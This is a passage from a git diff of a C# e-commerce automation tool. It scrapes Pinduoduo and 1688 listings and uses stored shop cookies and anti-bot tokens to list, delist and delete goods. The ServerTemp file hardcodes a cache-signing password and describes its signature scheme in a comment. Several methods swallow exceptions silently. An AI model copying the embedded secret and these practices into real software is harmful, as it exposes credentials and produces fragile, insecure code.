pb.Props[1].Values[k].name == n3 || pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n2) + // { + // ishad = true; + // break; + // } + // if (pb.Props[0].Values[j].name == n3 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n3 + //|| pb.Props[0].Values[j].name == n1 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n1 + //|| pb.Props[0].Values[j].name == n2 && pb.Props[1].Values[k].name == n4 || pb.Props[0].Values[j].name == n4 && pb.Props[1].Values[k].name == n2) + // { + // ishad = true; + // break; + // } + // } + + // } + // if (!ishad) + // { + // SkuMapBase sm = new SkuMapBase(); + // sm.id = BaseClass.GetTime(DateTime.Today); + // sm.price = maxPriceNew; + // sm.number = 0; + // sm.sale_count = 0; + // pb.saleCount += sm.sale_count; + // sm.prop_image = firstSkuImage; + // sm.name = pb.Props[0].name + ":" + pb.Props[0].Values[j].name + ";" + pb.Props[1].name + ":" + pb.Props[1].Values[k].name + ";"; + // pb.SkuMaps.Add(sm); + // } + // } + // } + // } + #endregion + + pb.cat1 = BaseRegex.GetIntJson(ref goodStr, "cat_id_1"); + pb.cat2 = BaseRegex.GetIntJson(ref goodStr, "cat_id_2"); + pb.cat3 = BaseRegex.GetIntJson(ref goodStr, "cat_id_3"); + pb.cat_id = BaseRegex.GetIntJson(ref goodStr, "cat_id"); + if (pb.cat_id != pb.cat3) + pb.cat4 = pb.cat_id; + int cid = PinduoduoCatList.GetNewCat3(pb.cat_id); + if (PinduoduoCatList.CatIds.ContainsKey(cid)) + { + var ci = PinduoduoCatList.CatIds[cid]; + pb.cat_id = ci.id; + pb.cat1 = ci.cat1; + pb.cat2 = ci.cat2; + pb.cat3 = ci.cat3; + pb.cat4 = ci.cat4; + pb.main_cid = ci.main_cat_id; + } + pb.before_price = BaseRegex.GetIntJson(ref goodStr, "market_price") / 100m; + pb.content = content; + var ft = new FromTitleToCat(); + pb.main_cid = ft.GetMainCatId(pb.cat1); + pb.main_cat_name = ft.MainCatName; + + string goodPropertyStr = ja["data"]["goods_detail"]["goods"]["goods_property"].ToString(); + goodPropertyStr = goodPropertyStr.Replace("\r\n", "").Replace(" ", ""); + m = BaseRegex.GetMatchRegex(ref goodPropertyStr, @"\{[^}]+?""values"":\[([\w\W]+?)\],""key"":""([^""]+?)""\}"); + for (int i = 0; m != null && i < m.Count; i++) + { + string name = m[i].Groups[2].Value; + string val = m[i].Groups[1].Value; + var list = BaseRegex.GetMatchRegex(ref val, @"""([^""]+?)"""); + string v = ""; + for (int j = 0; list != null && j < list.Count; j++) + v += "、" + list[j].Groups[1].Value; + if (!string.IsNullOrEmpty(v)) + v = v.Substring(1); + if (!string.IsNullOrEmpty(name) && !string.IsNullOrEmpty(v)) + pb.Prop.Add(new KeyValueBase(name, v)); + } + pb.mall_id = BaseRegex.GetLongJson(ref goodStr, "mall_id"); + pb.from_site_id = 2; + pb.price = 0; + if (pb.price == 0 && pb.SkuMaps.Count > 0) + pb.price = pb.SkuMaps[0].price; + string sale = BaseRegex.GetStringJson(ref goodStr, "side_sales_tip"); + sale = BaseRegex.GetMatchRegexString(ref sale, @"([\d\.万]+)"); + if (!string.IsNullOrEmpty(sale)) + { + sale = sale.Replace(".", "").Replace("万", "0000"); + int sa = 0; + int.TryParse(sale, out sa); + pb.saleCount = sa; + } + + //if (!userData) + // ServerTemp.Set(2, Product.FromId.ToString(), html); + + if (html.Contains("class=\"RWpliLUr\"") && html.Contains("https://pinduoduoimg.yangkeduo.com/deposit/global_shopping.png")) + { + pb.main_cid = Product.MainCatId = 8; + pb.main_cat_name = Product.MainCatName = "海淘进口"; + pb.country = Product.country = BaseRegex.GetStringJson(ref html, "countryDesc").Replace("品牌", ""); + } + + if (TaobaoMobileCollect.ProductTemp.Count > 1000) + { + TaobaoMobileCollect.ProductTemp.Clear(); + } + if (!TaobaoMobileCollect.ProductTemp.ContainsKey(pb.from_id)) + { + try + { + + TaobaoMobileCollect.ProductTemp.Add(pb.from_id, pb); + } + catch + { + } + } + else + { + TaobaoMobileCollect.ProductTemp[pb.from_id] = pb; + } + } + } + catch + { + + } + return ""; + } + public string GetName(string list, ref ProductCollectBase pb, string image) + { + string temp = ""; + var m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)"",""spec_key_id"":([\d]+),""spec_value_id"":([\d]+)"); + if (m.Count == 0) + m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)"""); + if (m.Count == 0) + m = BaseRegex.GetMatchRegex(ref list, @"\{""spec_value_id"":([\d]+),""spec_key"":""([^""]+?)"",""spec_value"":""([^""]+?)"",""spec_key_id"":([\d]+)"); + for (int i = 0; i < m.Count; i++) + { + temp += m[i].Groups[1].Value + ":" + m[i].Groups[2].Value + ";"; + bool had = false; + PropBase p = new PropBase(); + for (int j = 0; j < pb.Props.Count; j++) + { + if (pb.Props[j].name == m[i].Groups[1].Value) + { + had = true; + p = pb.Props[j]; + break; + } + } + if (!had) + { + p = new PropBase(); + p.name = m[i].Groups[1].Value; + if (m[i].Groups.Count > 3) + p.pinduoduo_id = m[i].Groups[3].Value; + pb.Props.Add(p); + } + had = false; + for (int j = 0; j < p.Values.Count; j++) + { + if (p.Values[j].name == m[i].Groups[2].Value) + { + p.Values[j].image = image; + p.Values[j].image_from_url = image; + had = true; + break; + } + } + if (!had) + { + PropValueBase pv = new PropValueBase(); + if (m[i].Groups.Count > 4) + pv.id = m[i].Groups[4].Value; + pv.name = m[i].Groups[2].Value; + pv.image = image; + pv.image_from_url = image; + p.Values.Add(pv); + } + } + return temp; + } + private static string GetRandomString(int iLength) + { + System.Text.StringBuilder newRandom = new System.Text.StringBuilder(62); + Random rd = new Random(); + for (int i = 0; i < iLength; i++) + { + newRandom.Append(constant[rd.Next(62)]); + } + return newRandom.ToString(); + + } + private static string GetRandomInt(int iLength) + { + System.Text.StringBuilder newRandom = new System.Text.StringBuilder(62); + Random rd = new Random(); + for (int i = 0; i < iLength; i++) + { + newRandom.Append(constInt[rd.Next(9)]); + } + return newRandom.ToString(); + + } + private static char[] constant = +{ +'0','1','2','3','4','5','6','7','8','9', +'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', +'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z' +}; + private static char[] constInt = +{ +'1','2','3','4','5','6','7','8','9' +}; + public static string GetTimeStampMilliSec() + { + TimeSpan ts = DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, 0); + return Convert.ToInt64(ts.TotalMilliseconds).ToString(); + } + public static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + + } + public class TData + { + /// + /// 操作结果,Tag为1代表成功,0代表失败,其他的验证返回结果,可根据需要设置 + /// + public int Tag { get; set; } + + /// + /// 提示信息或异常信息 + /// + public string Message { get; set; } + + /// + /// 扩展Message + /// + public string Description { get; set; } + /// + /// 列表的记录数 + /// + public int TotalCount { get; set; } + /// + /// 数据 + /// + public T Result { get; set; } + } + public class PinDuoDuoTokenInfo + { + public long UserId { get; set; } + public string PDDAccessToken { get; set; } + public int ProductDetailStatus { get; set; } + public int LoginStatus { get; set; } + public int SearchStatus { get; set; } + public bool IsCaptcha { get; set; } + } + public enum TokenStatus + { + Dead = -1, + Invalid = 0, + Valid = 1 + } +} \ No newline at end of file diff --git a/Work/CollectClass/PinduoduoRelation.cs b/Work/CollectClass/PinduoduoRelation.cs new file mode 100644 index 0000000..b86f810 --- /dev/null +++ b/Work/CollectClass/PinduoduoRelation.cs @@ -0,0 +1,38 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Work.CollectClass +{ + public class PinduoduoRelation + { + /// + /// 拼多多商品id(要关联的拼多多商品id) + /// + public long? goods_id { get; set; } + /// + /// 外部平台商品id + /// + public string out_goods_id { get; set; } + /// + /// 外部平台商品最低价,单位:分 + /// + public long? out_low_goods_price { get; set; } + /// + /// 外部平台商品最高价,单位:分 + /// + public long? out_high_goods_price { get; set; } + /// + /// 外部平台枚举值, 0-淘宝/天猫 ,1-京东,2-1688,3-唯品会,4-苏宁,5-亚马逊,6-网易, + /// 8-微店,9-网商园,10-蘑菇街,11-vvic搜款网,12-搜鞋网,13-一起做网店17zwd,14-杭州女装网, + /// 15-折800,16-当当,17-青创网,18-开山网,19-新款网 + /// + public int? source_type { get; set; } + /// + /// 邮费 + /// + public long? postage { get; set; } + } +} diff --git a/Work/CollectClass/ProductCheckControl.cs b/Work/CollectClass/ProductCheckControl.cs new file mode 100644 index 0000000..e1b1298 --- /dev/null +++ b/Work/CollectClass/ProductCheckControl.cs @@ -0,0 +1,278 @@ +using AllBase; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using Work.Api; +using Work.ManageClass; + +namespace Work.CollectClass +{ + public class ProductCheckControl + { + public string Name; + public static int threadCount = 5; + public static bool Running = false; + public static int goodCount = 0; + public static bool isCount = false; + public static int start = 0; + public static int end = 0; + public static string pid = ""; + public static List dicShopCount = new List(); + public static List ShopProductCheckDetailList = new List(); + public static List ShopProductCheckDetailList2 = new List(); + public static List ProductStatusList = new List(); + + public ProductCheckControl(string name) + { + Name = name; + } + public void Get() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectProductCheck || shop.Message == "会话已过期") + continue; + var p = new ProductCheckDetailLogic(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.Get), threadCount); + Thread.Sleep(1000); + } + Threadx.ThreadListWait(ref ts); + } + public void Off() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectProductCheck || shop.Message == "会话已过期") + continue; + var p = new ProductCheckDetailLogic(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.Off), threadCount); + Thread.Sleep(1000); + } + Threadx.ThreadListWait(ref ts); + } + public void Del() + { + List ts = new List(); + for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++) + { + var shop = GetShopLoginInfo.Shops[i]; + if (!shop.SelectProductCheck || shop.Message == "会话已过期") + continue; + var p = new ProductCheckDetailLogic(Name, shop); + Threadx.ThreadListWait(ref ts, new Thread(p.Del), threadCount); + Thread.Sleep(1000); + } + Threadx.ThreadListWait(ref ts); + } + } + public class ProductCheckDetailLogic + { + public string Name; + public ShopChatBase Shop; + public int count; + public ProductCheckDetailLogic(string Name, ShopChatBase Shop) + { + this.Name = Name; + this.Shop = Shop; + } + public void Off() + { + var api = new PinduoduoApiGetProduct(Shop); + string html = api.SetOnline(long.Parse(ProductCheckControl.pid), false); + if (!html.Contains("\"is_success\":true")) + { + Thread.Sleep(2000); + html = api.SetOnline(long.Parse(ProductCheckControl.pid), false); + } + ProductStaus status = new ProductStaus(); + status.goodId = ProductCheckControl.pid; + if (html.Contains("\"is_success\":true")) + { + status.OffStatus = "下架成功"; + ProductCheckControl.ProductStatusList.Add(status); + LogSave.Add(Name, ProductCheckControl.pid + "下架成功"); + } + else + { + status.OffStatus = "下架失败"; + ProductCheckControl.ProductStatusList.Add(status); + LogSave.Add(Name, ProductCheckControl.pid + "下架失败"); + } + } + public void Del() + { + string url = "https://mms.pinduoduo.com/plutus/api/plutus/bin/goods/delete/batch"; + string refere = "http://mms.pinduoduo.com/Pdd.html"; + string data = "{\"goods_ids\":[" + ProductCheckControl.pid + "],\"mall_id\":" + Shop.MallId + ",\"creator\":\"" + Shop.ShopName + "\",\"creator_id\":" + Shop.ReceiverId + "}"; + string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + if (html.Contains("商品仍在售")) + { + Off(); + html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies); + } + ProductStaus status = new ProductStaus(); + status.goodId = ProductCheckControl.pid; + if (html.Contains("\"success\":true")) + { + status.DelStatus = "删除成功"; + ProductCheckControl.ProductStatusList.Add(status); + LogSave.Add(Name, ProductCheckControl.pid + "删除成功"); + } + else + { + status.DelStatus = "删除失败"; + ProductCheckControl.ProductStatusList.Add(status); + LogSave.Add(Name, ProductCheckControl.pid + "删除失败"); + } + } + public void Get() + { + GetAllOnlineCount(); + int sub = ProductCheckControl.end - ProductCheckControl.start + 1; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:asc\",\"is_onsale\":1,\"size\":"+sub+",\"page\":#page#,\"mall_id\":" + Shop.MallId + "}"; + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + //GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), Shop.Cookies); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + if (allCount< ProductCheckControl.start) + { + LogSave.Add(Name, "当前店铺最大在线商品数量为 " + allCount+",请停止操作下一步按钮"); + return; + } + //int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0); + //if (page > 1000) + //{ + // page = 1000; + //} + int i = ProductCheckControl.end / sub; + if (i > 1) + { + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i).ToString()), CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i).ToString()), CpsSetAllGoods.getAnti0aon()); + } + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i).ToString()), CpsSetAllGoods.getAnti0aon()); + } + } + var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\},[\w\W]+?\}"); + for (int j = 0; m != null && j < m.Count; j++) + { + while (ProductCheckControl.Running) + { + Thread.Sleep(3000); + continue; + } + string list = m[j].Groups[0].Value; + ProductCheckDetail p = new ProductCheckDetail(); + p.goodId = BaseRegex.GetStringJson(ref list, "id"); + if (string.IsNullOrEmpty(p.goodId)) + continue; + p.goodName = BaseRegex.GetStringJson(ref list, "goods_name"); + string urlx = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/on_shop/detail"; + string datax = "{\"goods_id\":" + p.goodId + "}"; + string htmlx = GetPostTaobaoHtml.GetJsonPost(urlx, "", true, datax, Shop.Cookies); + string temp = BaseRegex.GetMatchRegexString(ref htmlx, @"""carousel_gallery"":\[(.*?)\]"); + var mc = BaseRegex.GetMatchRegex(ref temp, @"""url"":""([^""]+?)"""); + for (int k = 0; k < mc.Count; k++) + { + string imgx = mc[k].Groups[1].Value.Replace("@750w_1l_50Q", ""); + if (imgx.Contains("?")) + imgx = imgx.Substring(0, imgx.IndexOf("?")); + p.imgUrlList.Add(imgx); + } + for (int q = 0; q < p.imgUrlList.Count; q++) + { + byte[] img; + try + { + GetPostTaobaoHtml.DownLoadImage(p.imgUrlList[q], out img); + if (img==null) + { + Thread.Sleep(2000); + GetPostTaobaoHtml.DownLoadImage(p.imgUrlList[q], out img); + } + using (Stream stream = new MemoryStream(img)) + { + p.imagePdd[q] = Image.FromStream(stream, true); + stream.Close(); + stream.Dispose(); //释放占用资源 + } + p.imglist.Add(img); + } + catch + { + + } + } + System.GC.Collect();//垃圾回收 + if (!ProductCheckControl.ShopProductCheckDetailList.Exists(pt => pt != null && pt.goodId == p.goodId)) + { + ProductCheckControl.ShopProductCheckDetailList.Add(p); + ProductCheckControl.ShopProductCheckDetailList2.Add(p); + count++; + LogSave.Add(Name, "获取在线产品 " + p.goodId); + } + else + { + } + } + } + + public void GetAllOnlineCount() + { + int mallId = Shop.MallId; + string cookies = Shop.Cookies, shopName = Shop.ShopName; + string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList"; + string refere = "https://mms.pinduoduo.com/Pdd.html"; + string data = "{\"order_by\":\"id:desc\",\"is_onsale\":1,\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}"; + string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + if (string.IsNullOrEmpty(html) || !html.Contains("total")) + { + Thread.Sleep(30 * 1000); + html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon()); + } + int allCount = BaseRegex.GetIntJson(ref html, "total"); + KeyValueBase pair = new KeyValueBase (Shop.ShopName,allCount.ToString()); + ProductCheckControl.dicShopCount.Add(pair); + } + } + public class ProductCheckDetail + { + public string goodId = ""; + public string goodName = ""; + public List imgUrlList = new List(); + public List imglist=new List(); + public Image[] imagePdd = new Image[10]; + } + public class ProductStaus + { + public string goodId = ""; + public string OffStatus = ""; + public string DelStatus = ""; + } +} diff --git a/Work/CollectClass/SearchKeywordByAlibaba.cs b/Work/CollectClass/SearchKeywordByAlibaba.cs new file mode 100644 index 0000000..bbe4731 --- /dev/null +++ b/Work/CollectClass/SearchKeywordByAlibaba.cs @@ -0,0 +1,88 @@ +using System.Collections.Generic; +using System.Threading; +using AllBase; +using Work.Api; + +namespace Work.CollectClass +{ + public class SearchKeywordByAlibaba + { + public static string OrderString = "va_tbprofit&descendOrder=true"; + public static List ShopNames = new List(); + public static List Ids = new List(); + public string Name, Keyword = ""; + + public SearchKeywordByAlibaba(string name) + { + Name = name; + } + + public void GetKeyword(string keyword, ref int webCursor) + { + string refere = "https://s.1688.com/selloffer/offer_search.htm?priceStart=" + CollectKeywordByTaobao.MinPrice + "&priceEnd=" + + CollectKeywordByTaobao.MaxPrice + "&quantityBegin=2&sortType=" + OrderString + "&uniqfield=pic_tag_id&keywords=" + + GetHtml.UrlEncodeGb2312(keyword) + "&from=taoSellerSearch&n=y"; + List ts = new List(); + for (int i = 1; i <= CollectKeywordByTaobao.PageTop; i++) + { + string url = "https://s.1688.com/selloffer/rpc_async_render.jsonp?startIndex=0&keywords=" + + GetHtml.UrlEncodeGb2312(keyword) +"&n=y&pageSize=60&sortType=" + OrderString + + "&from=taoSellerSearch&rpcflag=new&async=true&filt=y&priceStart=" + CollectKeywordByTaobao.MinPrice + + "&templateConfigName=taoSearchOfferresultModule&enableAsync=true&quantityBegin=2&qrwRedirectEnabled=false&asyncCount=20&_pageName_=taoSellerSearch&priceEnd=" + + CollectKeywordByTaobao.MaxPrice + "&offset=8&uniqfield=pic_tag_id&beginPage=" + i; + string html = GetPostTaobaoHtml.GetUrl(url, refere, false, ""); + html = html.Replace("\\n", " ").Replace("\\\"", "\"").Replace("\\/", "/").Replace("\\'", "'"); + var m = BaseRegex.GetMatchRegex(ref html, @"]+t-rank=""([\d]+)""(.+?)[\s]*[\s]*"); + if (m == null || m.Count == 0) + { + Thread.Sleep(30 * 1000); + continue; + } + for (int j = 0; m != null && j < m.Count; j++) + { + while (CollectKeywordByTaobao.Running && CollectKeywordByTaobao.Waiting) + Thread.Sleep(100); + if (!CollectKeywordByTaobao.Running) + return; + string list = m[j].Groups[0].Value; + if (!list.Contains("一件代发")) + continue; + string id = BaseRegex.GetMatchRegexString(ref list, @"com/offer/([\d]+)\.html"); + if (string.IsNullOrEmpty(id) ) + continue; + string title = BaseRegex.GetMatchRegexString(ref list, @"title=""([^']+?)"""); + ProductCollectBase product = new ProductCollectBase(); + product.from_id = long.Parse(id); + product.from_title = title; + product.from_name = title; + product.from_url = "https://detail.1688.com/offer/" + product.from_id + ".html"; + string sold = BaseRegex.GetMatchRegexString(ref list, @"近30天成交([\d]+)"); + if (string.IsNullOrEmpty(sold)) + sold = BaseRegex.GetIntJson(ref list, "tbMonthSales").ToString(); + if (string.IsNullOrEmpty(sold)) + sold = BaseRegex.GetMatchRegexString(ref list, @"
    ([\d]+)件
    "); + product.saleCount = string.IsNullOrEmpty(sold) ? 0 : int.Parse(sold); + string price = BaseRegex.GetMatchRegexString(ref list, @"""¥[ ]*([\d\.]+?)"""); + product.price = string.IsNullOrEmpty(price) ? 0 : decimal.Parse(price); + TaobaoProductBase t = new TaobaoProductBase(); + t.FromId = product.from_id; + t.Titlte = product.from_title; + t.FromType = "阿里巴巴"; + t.Price = product.price; + t.SaleCount = product.saleCount; + t.MainImage = CollectKeywordByTaobao.MainImageCut; + if (t.Price < CollectKeywordByTaobao.MinPrice || t.Price > CollectKeywordByTaobao.MaxPrice || t.SaleCount < CollectKeywordByTaobao.MinSale || t.SaleCount > CollectKeywordByTaobao.MaxSale) + continue; + FromTitleToCat ft = new FromTitleToCat(); + ft.TaobaoProduct = t; + Threadx.ThreadListWait(ref ts, new Thread(ft.Get), 8); + + Thread.Sleep(5 * 1000); + } + Thread.Sleep(10 * 1000); + } + + } + + } +} diff --git a/Work/CollectClass/ServerTemp.cs b/Work/CollectClass/ServerTemp.cs new file mode 100644 index 0000000..d6d02e4 --- /dev/null +++ b/Work/CollectClass/ServerTemp.cs @@ -0,0 +1,370 @@ +using System; +using System.Collections.Generic; +using System.Text; +using AllBase; +using System.IO; +using System.Linq; +using System.Threading; + +namespace Work.CollectClass +{ + public class ServerTemp + { + /// + /// 获取服务器缓存 + /// + /// 来源网站 + /// 商品ID + /// 缓存是否可用 + /// + public static string Get(int siteId, string pid, out bool canUse) + { + canUse = false; + if (siteId == -1) + pid = "key-" + pid; + else if (siteId == 1) + pid = "tb-" + pid; + else if (siteId == 2) + pid = "pd-" + pid; + else if (siteId == 3) + pid = "al-" + pid; + else if (siteId == 4) + pid = "wd-" + pid; + else if (siteId == 5)//京喜商品的前缀约定为:jx- + pid = "jx-" + pid; + else if (siteId == 6) + pid = "dy-" + pid; + //string domain = "t3.1n11.com"; //domain = "t1.taojinhu.com:6788"; + //Random rd = new Random(); + //var iR = rd.Next(1, 100); + //if (iR > 35) + string domain = "temp-new1.taojinhu.com:10019"; + bool first = true; + Again: + string url = "https://" + domain + "/cache.php?id=" + pid; + string data = UserLogin.GetSignaturex(); + //获取服务器加密 + long timeStamp; + string getCse = CacheService(pid, out timeStamp); + if (!string.IsNullOrEmpty(getCse)) + { + url += "&csign=" + getCse + "&tsign=" + timeStamp; + } + string html = GetHtml.Utf8(url, 20); + if (string.IsNullOrEmpty(html) && first) + { + first = false; + domain = "t3.1n11.com"; + goto Again; + } + if (string.IsNullOrEmpty(html) || html.Length < 10 || html == "none" || html == "out time") + return ""; + string date = BaseRegex.GetMatchRegexString(ref html, @"([\d]{4}-[\d]{2}-[\d]{2})"); + if (string.IsNullOrEmpty(date)) + return ""; + DateTime time; + if (!DateTime.TryParse(date, out time)) + return ""; + if (time.AddDays(14) > BaseClass.GetServerTimeString()) //time.AddDays(7) + canUse = true; + if (time.AddDays(180) > BaseClass.GetServerTimeString() && pid.Contains("content")) //time.AddDays(7) + canUse = true; + return html; + } + /// + /// 获取淘宝服务器缓存 + /// + /// 来源网站 + /// 商品ID + /// 缓存是否可用 + /// + public static string GetTaoBao(int siteId, string pid, out bool canUse) + { + canUse = false; + if (siteId == -1) + pid = "key-" + pid; + if (siteId == 1) + pid = "tb-" + pid; + if (siteId == 2) + pid = "pd-" + pid; + if (siteId == 3) + pid = "al-" + pid; + //string domain = "t3.1n11.com"; //domain = "t1.taojinhu.com:6788";//备用 + //Random rd = new Random(); + //var iR = rd.Next(1, 100); + //if (iR > 35) + string domain = "temp-new1.taojinhu.com:10019"; + bool first = true; + Again: + string url = "https://" + domain + "/cache.php?id=" + pid; + //获取服务器加密 + long timeStamp; + string getCse = CacheService(pid, out timeStamp); + if (!string.IsNullOrEmpty(getCse)) + { + url += "&csign=" + getCse + "&tsign=" + timeStamp; + } + string html = GetHtml.Utf8(url, 20); + if (string.IsNullOrEmpty(html) && first) + { + first = false; + domain = "t3.1n11.com";//tempx.1n11.com + goto Again; + } + if (string.IsNullOrEmpty(html) || html.Length < 10 || html == "none" || html == "out time" || html == "error time" || html == "error code") + return ""; + string date = BaseRegex.GetMatchRegexString(ref html, @"([\d]{4}-[\d]{2}-[\d]{2})"); + if (string.IsNullOrEmpty(date)) + return ""; + DateTime time; + if (!DateTime.TryParse(date, out time)) + return ""; + if (time.AddDays(7) > BaseClass.GetServerTimeString())//time.AddDays(7) + canUse = true; + if (time.AddDays(180) > BaseClass.GetServerTimeString() && pid.Contains("content")) //time.AddDays(7) + canUse = true; + + return html; + } + + public static bool Set(int siteId, string pid, string content) + { + if (siteId == -1) + pid = "key-" + pid; + else if (siteId == 1) + pid = "tb-" + pid; + else if (siteId == 2) + pid = "pd-" + pid; + else if (siteId == 3) + pid = "al-" + pid; + else if (siteId == 4) + pid = "wd-" + pid; + else if (siteId == 5) + pid = "jx-" + pid; + else if (siteId == 6) + pid = "dy-" + pid; + string domain = "t3a.1n11.com"; + string domainx = "temp-new1.taojinhu.com:10018"; + + byte[] contentByte = Encoding.UTF8.GetBytes(content); + string url = "https://" + domain + "/cache.php?act=savex&id=" + pid; + string urlx = "https://" + domainx + "/cache.php?act=savex&id=" + pid; + //获取服务器加密 + long timeStamp; + string getCse = CacheService(pid, out timeStamp); + if (!string.IsNullOrEmpty(getCse)) + { + url += "&csign=" + getCse + "&tsign=" + timeStamp; + urlx += "&csign=" + getCse + "&tsign=" + timeStamp; + } + string html = GetHtml.RequestImg(url, contentByte); + html = GetHtml.RequestImg(urlx, contentByte); + return html == "ok"; + } + + //密码 = 当前月份(202003)+ dfhjew&*4<>.,/-=+~`8sazfhy&6544#^fdg/DfgJSB + //签名变量csign算法 = md5(密码 + 时间戳(秒)+ $id(例子:tb-main-123456)+ 密码) + private static string EncryptionPassword = "dfhjew&*4<>.,/-=+~`8sazfhy&6544#^fdg/DfgJSB"; + public static string CacheService(string ProductId, out long time) + { + string NewEncryptionPassword = BaseClass.GetServerTimeString().ToString("yyyyMM") + EncryptionPassword; + time = BaseClass.DateTimeToTimestampSeconds(DateTime.Now) + BaseClass.TimeDifferent; + if (string.IsNullOrEmpty(ProductId)) + { + return ""; + } + string csign = ""; + csign = Md5Base.GetMd5(NewEncryptionPassword + time + ProductId + NewEncryptionPassword).ToLower(); + return csign; + } + + /// + /// 获取微店缓存上家数据 + /// + /// + /// + public static List> GetWeiDianCache(ProductCollectBase upProduct) + { + var mappingResultWd = new List>(); + string tagStr = "vd"; + string vdHtml = ""; + string fromStr = ""; + if (upProduct.from_site_id == 1) + fromStr = "tb-"; + if (upProduct.from_site_id == 3) + fromStr = "al-"; + else if (upProduct.from_site_id == 2) + fromStr = "pd-"; + + string url = BaseClass.BuildObjString("data_change&act=get_pid"); + string data = ""; + // 根据商品id查找缓存 + if (string.IsNullOrEmpty(vdHtml) || vdHtml.ToLower().Contains("error")) + { + long insertGoodId = Convert.ToInt64(upProduct.from_id) % 1024; + data = "&product_id=" + fromStr + tagStr + upProduct.from_id + + "&img_id=" + + "&suffix=" + insertGoodId + + "&site_id=&" + UserLogin.GetSignaturex(); + + vdHtml = GetHtml.PostUtf8(url, data); + if (string.IsNullOrEmpty(vdHtml) || vdHtml.ToLower().Contains("error")) + vdHtml = GetHtml.PostUtf8(url, data); + // 读取缓存成功 + if (!string.IsNullOrEmpty(vdHtml) && !vdHtml.ToLower().Contains("error")) + { + string siteId = BaseRegex.GetMatchRegexString(vdHtml, "\"site_id\":\"([\\s\\S]+?)\""); + string content = BaseRegex.GetMatchRegexString(vdHtml, "\"content\":\"([\\s\\S]+?)(])\""); + if (content != null) + { + content = content.Replace("\\", "") + "]"; + } + else + { + content = BaseRegex.GetMatchRegexString(vdHtml, "\"content\":\"([\\s\\S]+?)\""); + } + try + { + var tupleItems = content.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + foreach (var tupleItem in tupleItems) + { + var items = tupleItem.Split(new string[] { "," }, StringSplitOptions.RemoveEmptyEntries); + if (items.Length >= 2 && items[0].Length > 5) + { + try + { + var item1 = items[0]; + var item2 = items[1]; + var item3 = items.Length >= 3 ? items[2] : items[1]; + mappingResultWd.Add(new Tuple(item1, Convert.ToInt32(item2), Convert.ToInt32(item3))); + } + catch + { + } + } + else if (items.Length == 1 && items[0].StartsWith("tit_")) + { + // 微店商品标题 + //if (string.IsNullOrEmpty(prod.ProductTitle)) + //{ + // 